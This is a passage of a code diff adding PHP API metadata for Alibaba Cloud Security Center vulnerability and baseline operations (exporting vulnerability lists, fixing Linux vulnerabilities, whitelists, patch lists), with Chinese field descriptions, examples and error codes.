**nntf**：低', + 'type' => 'string', + 'required' => false, + 'example' => 'asap', + ], + ], + [ + 'name' => 'Dealed', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的漏洞是否已修复。取值：'."\n" + ."\n" + .'- **y**：已修复'."\n" + .'- **n**：未修复', + 'type' => 'string', + 'required' => false, + 'example' => 'n', + ], + ], + [ + 'name' => 'GroupId', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的漏洞所在服务器的资产分组ID。'."\n" + .'> 您可以调用[DescribeAllGroups](~~DescribeAllGroups~~)接口获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => '8834224', + ], + ], + [ + 'name' => 'SearchTags', + 'in' => 'query', + 'schema' => [ + 'description' => '按照标签过滤。取值：'."\n" + ."\n" + .''."\n" + .'- 需要重启'."\n" + .'- 远程利用'."\n" + .'- 存在EXP'."\n" + .'- 可被利用'."\n" + .'- 本地提权'."\n" + .'- 代码执行'."\n" + .''."\n" + ."\n" + .''."\n" + .'- **Restart required**'."\n" + .'- **Remote utilization**'."\n" + .'- **EXP exists**'."\n" + .'- **Available**'."\n" + .'- **Elevation of Privilege**'."\n" + .'- **Code Execution**'."\n" + ."\n" + .''."\n", + 'type' => 'string', + 'required' => false, + 'example' => 'Restart required', + ], + ], + [ + 'name' => 'AttachTypes', + 'in' => 'query', + 'schema' => [ + 'description' => '查询应用漏洞时的附加漏洞类型。查询应用漏洞（即Type设置为app）时需要设置该参数。该参数固定取值为**sca**。'."\n" + ."\n" + .'> 如果该参数设置为**sca**，可查询应用漏洞（**app**类型）及软件成分分析（**sca**类型）漏洞，如果不设置该参数，只查询应用漏洞。', + 'type' => 'string', + 'required' => false, + 'example' => 'sca', + ], + ], + [ + 'name' => 'VpcInstanceIds', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询漏洞的VPC实例ID。多个ID使用半角逗号（,）分隔。'."\n" + .'> 您可以调用[DescribeVpcList](~~DescribeVpcList~~)接口获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => 'ins-133****,ins-5414****', + ], + ], + [ + 'name' => 'CveId', + 'in' => 'query', + 'schema' => [ + 'description' => 'CVE编号。', + 'type' => 'string', + 'required' => false, + 'example' => 'CVE-2022-44702', + ], + ], + [ + 'name' => 'Path', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询漏洞影响的进程路径。', + 'type' => 'string', + 'required' => false, + 'example' => '/etc/test', + ], + ], + [ + 'name' => 'ContainerName', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询漏洞影响的容器名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'xxljob-7b87597b99-mcskr', + ], + ], + [ + 'name' => 'ImageName', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询漏洞影响的镜像名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'container-***:****', + ], + ], + [ + 'name' => 'CreateTsStart', + 'in' => 'query', + 'schema' => [ + 'description' => '首次扫描时间起始时间。'."\n" + .'> 时间戳，单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1696128144000', + ], + ], + [ + 'name' => 'CreateTsEnd', + 'in' => 'query', + 'schema' => [ + 'description' => '首次扫描时间结束时间。'."\n" + .'> 时间戳，单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1696186800000', + ], + ], + [ + 'name' => 'RaspDefend', + 'in' => 'query', + 'schema' => [ + 'description' => '应用防护（RASP）是否支持实时防护该漏洞。取值：'."\n" + ."\n" + .'- **0**：不支持'."\n" + .'- **1**：支持', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '0', + ], + ], + [ + 'name' => 'VulEntityList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'title' => '漏洞组件信息列表', + 'description' => '漏洞组件信息列表', + 'type' => 'array', + 'items' => [ + 'title' => '漏洞组件信息', + 'description' => '漏洞组件信息', + 'type' => 'object', + 'properties' => [ + 'EntityVersion' => [ + 'title' => '组件版本', + 'description' => '组件版本', + 'type' => 'string', + 'required' => false, + 'example' => '1.0.0', + ], + 'EntityName' => [ + 'title' => '组件名称', + 'description' => '组件名称', + 'type' => 'string', + 'required' => false, + 'example' => 'Ollama', + ], + ], + 'required' => false, + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'description' => '导出漏洞列表返回结果。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'E1FAB2B8-DF4D-55DF-BC3D-5C3CA6FD5B13', + ], + 'FileName' => [ + 'description' => '导出文件的名称。', + 'type' => 'string', + 'example' => 'app_20211101', + ], + 'Id' => [ + 'description' => '导出文件的ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '81634', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'FreeVersionNotPermit', + 'errorMessage' => 'Free version is not permitted.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"E1FAB2B8-DF4D-55DF-BC3D-5C3CA6FD5B13\\",\\n \\"FileName\\": \\"app_20211101\\",\\n \\"Id\\": 81634\\n}","errorExample":""},{"type":"xml","example":"\\n E1FAB2B8-DF4D-55DF-BC3D-5C3CA6FD5B13\\n app_20211101\\n 81634\\n","errorExample":""}]', + 'title' => '导出漏洞列表', + 'description' => '本接口用于导出漏洞列表。可用于导出Linux软件漏洞、Windows系统漏洞、Web-CMS漏洞、应用漏洞以及应急漏洞的漏洞列表。'."\n" + ."\n" + .'本接口与DescribeVulExportInfo接口配合使用。使用本接口建立漏洞导出任务之后，可调用DescribeVulExportInfo接口录入漏洞导出任务的ID，查看漏洞导出任务的进度。'."\n" + ."\n" + .'### QPS限制'."\n" + .'本接口的单用户QPS限制为10次/秒。超过限制，API调用会被限流，这可能会影响您的业务，请合理调用。', + ], + 'DescribeVulExportInfo' => [ + 'summary' => '查看漏洞导出任务的进度。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'ExportId', + 'in' => 'query', + 'schema' => [ + 'description' => '漏洞导出任务的ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'example' => '14356', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'description' => '导出任务返回数据。', + 'type' => 'object', + 'properties' => [ + 'Link' => [ + 'description' => '导出后Excel的下载链接。', + 'type' => 'string', + 'example' => 'http://www.aliyun.com', + ], + 'Progress' => [ + 'description' => '导出进度百分比（%）。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '100', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '4C1AE3F3-18FA-4108-BXXX-AFA1A032756C', + ], + 'CurrentCount' => [ + 'description' => '当前已导出数据的条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'Message' => [ + 'description' => '导出结果提示信息。固定值：**success**。表示导出成功。', + 'type' => 'string', + 'example' => 'success', + ], + 'FileName' => [ + 'description' => '导出的Excel文件名称。', + 'type' => 'string', + 'example' => 'app_20210917', + ], + 'TotalCount' => [ + 'description' => '导出的Excel表格中数据的总条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'ExportStatus' => [ + 'description' => '导出任务的状态。取值：'."\n" + ."\n" + .'- **init**：导出初始化'."\n" + .'- **exporting**：导出进行中'."\n" + .'- **success**：导出成功', + 'type' => 'string', + 'example' => 'success', + ], + 'Id' => [ + 'description' => '漏洞导出任务ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '14356', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"Link\\": \\"http://www.aliyun.com\\",\\n \\"Progress\\": 100,\\n \\"RequestId\\": \\"4C1AE3F3-18FA-4108-BXXX-AFA1A032756C\\",\\n \\"CurrentCount\\": 1,\\n \\"Message\\": \\"success\\",\\n \\"FileName\\": \\"app_20210917\\",\\n \\"TotalCount\\": 10,\\n \\"ExportStatus\\": \\"success\\",\\n \\"Id\\": 14356\\n}","errorExample":""},{"type":"xml","example":"\\n http://www.aliyun.com\\n 100\\n 4C1AE3F3-18FA-4108-BXXX-AFA1A032756C\\n 1\\n success\\n app_20210917\\n 10\\n success\\n 14356\\n","errorExample":""}]', + 'title' => '查看漏洞导出任务的进度', + 'description' => '导出任务状态为success时会返回下载链接。', + 'requestParamsDescription' => ' ', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'OperateVuls' => [ + 'summary' => '修复Linux软件漏洞。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'none', + 'abilityTreeCode' => '92418', + 'abilityTreeNodes' => [ + 'FEATUREsasU76LC1', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'Type', + 'in' => 'query', + 'schema' => [ + 'description' => '要修复的漏洞的类型。固定取值：**cve**，表示Linux软件漏洞。', + 'type' => 'string', + 'required' => true, + 'example' => 'cve', + ], + ], + [ + 'name' => 'OperateType', + 'in' => 'query', + 'schema' => [ + 'description' => '漏洞的处理方式。固定取值：**vul_fix**，表示修复漏洞。', + 'type' => 'string', + 'required' => true, + 'example' => 'vul_fix', + ], + ], + [ + 'name' => 'VulNames', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '要修复的漏洞的名称列表。', + 'type' => 'array', + 'items' => [ + 'description' => '要修复的漏洞的名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'oval:com.ubuntu.xenial:def:2020355240000000', + ], + 'required' => true, + 'maxItems' => 10000, + ], + ], + [ + 'name' => 'Uuids', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '要修复漏洞的服务器的UUID列表。', + 'type' => 'array', + 'items' => [ + 'description' => '要修复漏洞的服务器的UUID。', + 'type' => 'string', + 'required' => false, + 'example' => '14f14260-xxxx-46ea-a157-451983a1****', + ], + 'required' => true, + 'maxItems' => 10000, + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'C2677612-7207-4AEB-BD48-8BA528F86777', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 200 => [ + [ + 'errorCode' => 'operateVulError', + 'errorMessage' => 'Operate vul is error.', + ], + ], + 400 => [ + [ + 'errorCode' => 'InsufficientAuthorizationCount', + 'errorMessage' => 'Authorization count is insufficient.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"C2677612-7207-4AEB-BD48-8BA528F86777\\"\\n}","errorExample":""},{"type":"xml","example":"\\n C2677612-7207-4AEB-BD48-8BA528F86777\\n","errorExample":""}]', + 'title' => '修复Linux软件漏洞', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'GetVulStatistics' => [ + 'summary' => '查询一个或多个资产分组下的漏洞数量统计值。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsasU76LC1', + ], + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '指定访问源的IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '10.12.XX.XX', + ], + ], + [ + 'name' => 'GroupIdList', + 'in' => 'query', + 'schema' => [ + 'description' => '指定要查询的资产分组ID。多个资产分组ID使用半角逗号（,）分隔。'."\n" + .'> 您可以调用[DescribeAllGroups](~~DescribeAllGroups~~)接口获取该参数。', + 'type' => 'string', + 'required' => true, + 'example' => '9997897', + ], + ], + [ + 'name' => 'TypeList', + 'in' => 'query', + 'schema' => [ + 'description' => '指定要查询统计值的漏洞类型。多个漏洞类型使用半角逗号（,）分隔。取值：'."\n" + .'- **cve**：Linux软件漏洞'."\n" + .'- **sys**：Windows系统漏洞'."\n" + .'- **cms**：Web-CMS漏洞'."\n" + .'- **emg**：应急漏洞'."\n" + .'- **app**：应用漏洞（web扫描器）'."\n" + .'- **sca**：应用漏洞（软件成分分析）', + 'type' => 'string', + 'required' => true, + 'example' => 'cve', + ], + ], + [ + 'name' => 'ResourceDirectoryAccountId', + 'in' => 'query', + 'schema' => [ + 'description' => '资源目录成员账号ID（阿里云账号）。'."\n" + .'>调用[DescribeMonitorAccounts](~~DescribeMonitorAccounts~~)接口可以获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1232428423234****', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '3FE272FA-7263-4554-A90F-A7857945A6D5', + ], + 'VulLaterSum' => [ + 'description' => '漏洞修复等级为中的漏洞数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'VulNntfSum' => [ + 'description' => '漏洞修复等级为低的漏洞数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'VulAsapSum' => [ + 'description' => '漏洞修复等级为高的漏洞数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '16', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'RdCheckNoPermission', + 'errorMessage' => 'Resource directory account verification has no permission.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + [ + 'errorCode' => 'RdCheckInnerError', + 'errorMessage' => 'Resource directory account service internal error.', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"3FE272FA-7263-4554-A90F-A7857945A6D5\\",\\n \\"VulLaterSum\\": 0,\\n \\"VulNntfSum\\": 0,\\n \\"VulAsapSum\\": 16\\n}","errorExample":""},{"type":"xml","example":"\\n 16\\n 0\\n 0\\n 3FE272FA-7263-4554-A90F-A7857945A6D5\\n","errorExample":""}]', + 'title' => '查询资产分组下的漏洞数量', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'ModifyVulWhitelistTarget' => [ + 'summary' => '修改漏洞白名单机器列表。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'systemTags' => [ + 'operationType' => 'update', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsasXNUPZF', + ], + ], + 'parameters' => [ + [ + 'name' => 'SourceIp', + 'in' => 'query', + 'schema' => [ + 'description' => '访问源IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '42.120.75.150', + ], + ], + [ + 'name' => 'Id', + 'in' => 'query', + 'schema' => [ + 'description' => '漏洞白名单ID。'."\n" + .'> 您可以调用[DescribeVulWhitelist](~~DescribeVulWhitelist~~)接口获取漏洞白名单的ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'example' => '2533681', + ], + ], + [ + 'name' => 'TargetInfo', + 'in' => 'query', + 'schema' => [ + 'description' => '设置白名单生效的范围。该字段为JSON格式，包含以下字段。'."\n" + .'- **type**：生效类型。取值：'."\n" + .' - **GroupId**：群组'."\n" + .' - **Uuid**：主机资产'."\n" + .'- **uuids**：主机资产UUID集合。'."\n" + .'- **groupIds**：群组编号集合。'."\n" + .'> 该值为空表示作用全部主机。若**type**为**GroupId**时，**groupIds**不能为空。若**type**为**Uuid**时，**uuids**不能为空', + 'type' => 'string', + 'required' => false, + 'example' => '{'."\n" + .' "type": "GroupId",'."\n" + .' "uuids": [],'."\n" + .' "groupIds": ['."\n" + .' 10782678'."\n" + .' ]'."\n" + .'}', + ], + ], + [ + 'name' => 'Reason', + 'in' => 'query', + 'schema' => [ + 'description' => '添加白名单原因说明。', + 'type' => 'string', + 'required' => false, + 'example' => '1221', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '896AC4F0-C881-502B-BFC7-4751C5E3DEAA', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"896AC4F0-C881-502B-BFC7-4751C5E3DEAA\\"\\n}","type":"json"}]', + 'title' => '修改漏洞白名单机器列表', + ], + 'DescribeFrontVulPatchList' => [ + 'summary' => '查询指定的Windows系统漏洞需要安装的前置补丁列表。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'Info', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的Windows系统漏洞的信息。使用JSON格式的字符串表示，包含以下字段：'."\n" + .'- **name**：漏洞名称。'."\n" + .'- **uuid**：存在漏洞的服务器UUID。'."\n" + .'- **tag**：漏洞标签。固定取值为**system**，表示系统漏洞。'."\n", + 'type' => 'string', + 'required' => true, + 'example' => '[{"name":"5000803","uuid":"026c9296-1234-5678-b937-a7d81f05****","tag":"system"}]', + ], + ], + [ + 'name' => 'OperateType', + 'in' => 'query', + 'schema' => [ + 'description' => '漏洞的处理方式。固定取值：**vul_fix**，表示修复漏洞。'."\n", + 'type' => 'string', + 'required' => true, + 'example' => 'vul_fix', + ], + ], + [ + 'name' => 'Type', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的漏洞类型。固定取值：**sys**，表示Windows漏洞。', + 'type' => 'string', + 'required' => true, + 'example' => 'sys', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + ."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'F929E952-EBFC-56C3-BD35-BF8B59024C68', + ], + 'FrontPatchList' => [ + 'description' => '查询到的Windows漏洞前置补丁的信息。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'Uuid' => [ + 'description' => '服务器UUID。', + 'type' => 'string', + 'example' => '1587bedb-fdb4-48c4-9330-4545****', + ], + 'PatchList' => [ + 'description' => '服务器对应的Windows漏洞前置补丁的列表。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'Name' => [ + 'description' => 'Windows漏洞前置补丁的补丁号。', + 'type' => 'string', + 'example' => '4523204', + ], + 'AliasName' => [ + 'description' => '漏洞名称。', + 'type' => 'string', + 'example' => 'RHBA-2019:2599: krb5 bug fix update', + ], + ], + ], + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"F929E952-EBFC-56C3-BD35-BF8B59024C68\\",\\n \\"FrontPatchList\\": [\\n {\\n \\"Uuid\\": \\"1587bedb-fdb4-48c4-9330-4545****\\",\\n \\"PatchList\\": [\\n {\\n \\"Name\\": \\"4523204\\",\\n \\"AliasName\\": \\"RHBA-2019:2599: krb5 bug fix update\\"\\n }\\n ]\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\n F929E952-EBFC-56C3-BD35-BF8B59024C68\\n \\n 1587bedb-fdb4-48c4-9330-4545****\\n \\n 4523204\\n 栈更新，适合基于 x64 的系统 (KB4523204)\\n \\n \\n","errorExample":""}]', + 'title' => '查询指定的Windows系统漏洞需要安装的前置补丁列表', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'ListBaselineCheckWhiteRecord' => [ + 'summary' => '查询基线白名单记录。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'list', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsas8WIQPJ', + ], + ], + 'parameters' => [ + [ + 'name' => 'CheckIds', + 'in' => 'query', + 'style' => 'json', + 'schema' => [ + 'description' => '检查项ID列表。', + 'type' => 'array', + 'items' => [ + 'description' => '检查项的ID。'."\n" + ."\n" + .'> 您可调用[ListCheckItemWarningSummary](~~ListCheckItemWarningSummary~~)接口获取检查项ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '58', + ], + 'required' => false, + ], + ], + [ + 'name' => 'RecordIds', + 'in' => 'query', + 'style' => 'json', + 'schema' => [ + 'description' => '白名单记录的ID列表。', + 'type' => 'array', + 'items' => [ + 'description' => '白名单记录的ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '496242', + ], + 'required' => false, + ], + ], + [ + 'name' => 'Source', + 'in' => 'query', + 'schema' => [ + 'description' => '数据来源，为空时默认查询主机。取值：'."\n" + .'- **default**：主机'."\n" + .'- **agentless**：agentless', + 'type' => 'string', + 'required' => false, + 'example' => 'agentless', + ], + ], + [ + 'name' => 'Lang', + 'in' => 'query', + 'schema' => [ + 'description' => '设置请求和接收消息的语言类型，默认为**zh**。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文'."\n", + 'type' => 'string', + 'required' => false, + 'example' => 'zh', + ], + ], + [ + 'name' => 'CheckItemFuzzy', + 'in' => 'query', + 'schema' => [ + 'description' => '检查项名称模糊匹配。', + 'type' => 'string', + 'required' => false, + 'example' => 'redis', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，显示的当前页的页码。起始值为1，默认值为1。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，当前页显示数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '20', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'title' => 'PageResult', + 'description' => 'PageResult', + 'type' => 'object', + 'properties' => [ + 'List' => [ + 'description' => '白名单规则列表。', + 'type' => 'array', + 'items' => [ + 'description' => '白名单规则。', + 'type' => 'object', + 'properties' => [ + 'RecordId' => [ + 'description' => '白名单记录的ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '79412', + ], + 'CheckId' => [ + 'description' => '检查项ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '696', + ], + 'TargetType' => [ + 'description' => '生效目标类型：'."\n" + ."\n" + .'- **all_instance**：全部主机'."\n" + .'- **instance**：部分主机', + 'type' => 'string', + 'example' => 'instance', + ], + 'Target' => [ + 'description' => '加白目标。', + 'type' => 'string', + 'example' => 'HOST_BASELINE_WHITE_LIST_21', + ], + 'Reason' => [ + 'description' => '加白原因。', + 'type' => 'string', + 'example' => '暂时忽略'."\n", + ], + 'Source' => [ + 'description' => '数据来源。取值：'."\n" + .'- **default**：主机'."\n" + .'- **agentless**：agentless', + 'type' => 'string', + 'example' => 'agentless', + ], + 'Lang' => [ + 'description' => '指定请求和接收消息的语言类型，默认值为**zh**。取值：'."\n" + .'- **zh**：中文'."\n" + .'- **en**：英文', + 'type' => 'string', + 'example' => 'en', + ], + 'CheckItem' => [ + 'description' => '检查项描述。', + 'type' => 'string', + 'example' => 'Config the Event Audit policys', + ], + 'CheckType' => [ + 'description' => '检查项类别。', + 'type' => 'string', + 'example' => 'Security audit', + ], + 'CheckTypeDisName' => [ + 'description' => '检查项类型展示名称。', + 'type' => 'string', + 'example' => 'Security audit', + ], + 'ContainerItems' => [ + 'description' => '检查项中已加白的容器名称列表。', + 'type' => 'array', + 'items' => [ + 'description' => '检查项中已加白的容器名称。', + 'type' => 'object', + 'properties' => [ + 'Uuid' => [ + 'description' => '服务器UUID。', + 'type' => 'string', + 'example' => 'beeea5c2-1857-4b2b-a794-7d21eae*****', + ], + 'ContainerNames' => [ + 'description' => '当前资产已加白的容器名称，英文逗号分割。', + 'type' => 'string', + 'example' => '"anythingllm,ChuanhuChat"', + ], + ], + ], + ], + ], + ], + ], + 'PageInfo' => [ + 'description' => '分页信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，显示的每页数据的最大条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '查询到的数据总条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '45', + ], + 'Count' => [ + 'description' => '分页查询时，当前页显示的数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + ], + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '9F4E6157-9600-5588-86B9-38F09067****', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"List\\": [\\n {\\n \\"RecordId\\": 79412,\\n \\"CheckId\\": 696,\\n \\"TargetType\\": \\"instance\\",\\n \\"Target\\": \\"HOST_BASELINE_WHITE_LIST_21\\",\\n \\"Reason\\": \\"暂时忽略\\\\n\\",\\n \\"Source\\": \\"agentless\\",\\n \\"Lang\\": \\"en\\",\\n \\"CheckItem\\": \\"Config the Event Audit policys\\",\\n \\"CheckType\\": \\"Security audit\\",\\n \\"CheckTypeDisName\\": \\"Security audit\\",\\n \\"ContainerItems\\": [\\n {\\n \\"Uuid\\": \\"beeea5c2-1857-4b2b-a794-7d21eae*****\\",\\n \\"ContainerNames\\": \\"\\\\\\"anythingllm,ChuanhuChat\\\\\\"\\"\\n }\\n ]\\n }\\n ],\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 45,\\n \\"Count\\": 2\\n },\\n \\"RequestId\\": \\"9F4E6157-9600-5588-86B9-38F09067****\\"\\n}","type":"json"}]', + 'title' => '查询基线白名单记录', + ], + 'ListCheckItemWarningSummary' => [ + 'summary' => '分页查询检查项产生风险的统计数据。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'list', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeCode' => '145310', + 'abilityTreeNodes' => [ + 'FEATUREsas0XJWFD', + ], + ], + 'parameters' => [ + [ + 'name' => 'RiskType', + 'in' => 'query', + 'schema' => [ + 'title' => '基线分类名称', + 'description' => '基线分类名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'weak_password', + ], + ], + [ + 'name' => 'CheckType', + 'in' => 'query', + 'schema' => [ + 'title' => 